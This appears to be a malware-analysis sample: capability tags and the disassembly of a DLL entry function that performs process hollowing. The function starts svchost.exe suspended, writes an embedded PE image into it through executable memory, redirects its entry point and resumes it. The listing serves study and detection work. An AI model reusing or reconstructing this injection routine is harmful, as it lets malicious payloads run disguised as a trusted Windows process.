Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
lea rbp, [rsp - 0x6c0]
sub rsp, 0x7c0
mov rax, qword [0x180016008]
xor rax, rsp
mov qword [rbp + 0x690], rax
sub edx, 1
je 0x180001030
cmp edx, 1
jne 0x180001363
mov qword [rsp + 0x7d0], rbx
lea rax, [rbp + 0x580]
mov qword [rsp + 0x7d8], rsi
xor r9d, r9d
mov qword [rsp + 0x7e0], rdi
xor r8d, r8d
mov qword [rsp + 0x7b0], r13
xor ecx, ecx
mov qword [rsp + 0x7a8], r14
lea edx, [r9 + 0x29]
mov qword [rsp + 0x7a0], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, str.svchost.exe
lea rcx, [rbp + 0x580]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
xor r13d, r13d
mov qword [rsp + 0x7b8], r12
mov r15d, r13d
lea rdi, [0x1800169e0]
nop word [rax + rax]
xorps xmm0, xmm0
mov dword [rbp + 0x510], 0x68
xor eax, eax
lea rcx, [rbp + 0x580]
mov dword [rbp + 0x574], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x510]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x514], xmm0
movups xmmword [rbp + 0x524], xmm0
movups xmmword [rbp + 0x534], xmm0
movups xmmword [rbp + 0x544], xmm0
movups xmmword [rbp + 0x554], xmm0
movups xmmword [rbp + 0x564], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
jne 0x180001306
xor edx, edx
mov qword [rsp + 0x68], r13
mov r8d, 0x2c8
lea rcx, [rbp + 0x244]
call fcn.1800024c0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0x240]
mov dword [rbp + 0x240], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x2e4]
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x180001306
mov eax, dword [rbp + 0x2e4]
cmp qword [rsp + 0x68], r13
je 0x180001306
test rax, rax
je 0x180001306
movsxd rbx, dword [0x180016a1c]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
add rbx, rdi
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbx + 0x50]
mov edx, dword [rbx + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1800012eb
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800012eb
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x180001274
mov rsi, r13
nop word [rax + rax]
movzx eax, word [rbx + 0x14]
lea rcx, [0x1800169e0]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, rcx
mov rcx, qword [rsp + 0x50]
add rdx, r14
mov r9d, dword [rax + rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800012e4
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x180001230
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x2c8
call fcn.1800024c0
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1800012e4
mov edx, dword [rbp + 0x14]
lea r8, [rbx + 0x34]
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800012e4
mov ecx, dword [rbx + 0x28]
lea rdx, [rsp + 0x70]
add ecx, r14d
mov dword [rbp + 0x20], ecx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x180001320
lea rdi, [0x1800169e0]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r15d
cmp r15d, 8
jl 0x1800010b0
jmp 0x18000132b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r12, qword [rsp + 0x7b8]
mov r13, qword [rsp + 0x7b0]
mov r14, qword [rsp + 0x7a8]
mov rdi, qword [rsp + 0x7e0]
mov rsi, qword [rsp + 0x7d8]
mov rbx, qword [rsp + 0x7d0]
mov r15, qword [rsp + 0x7a0]
mov eax, 1
mov rcx, qword [rbp + 0x690]
xor rcx, rsp
call fcn.180001390
add rsp, 0x7c0
pop rbp
ret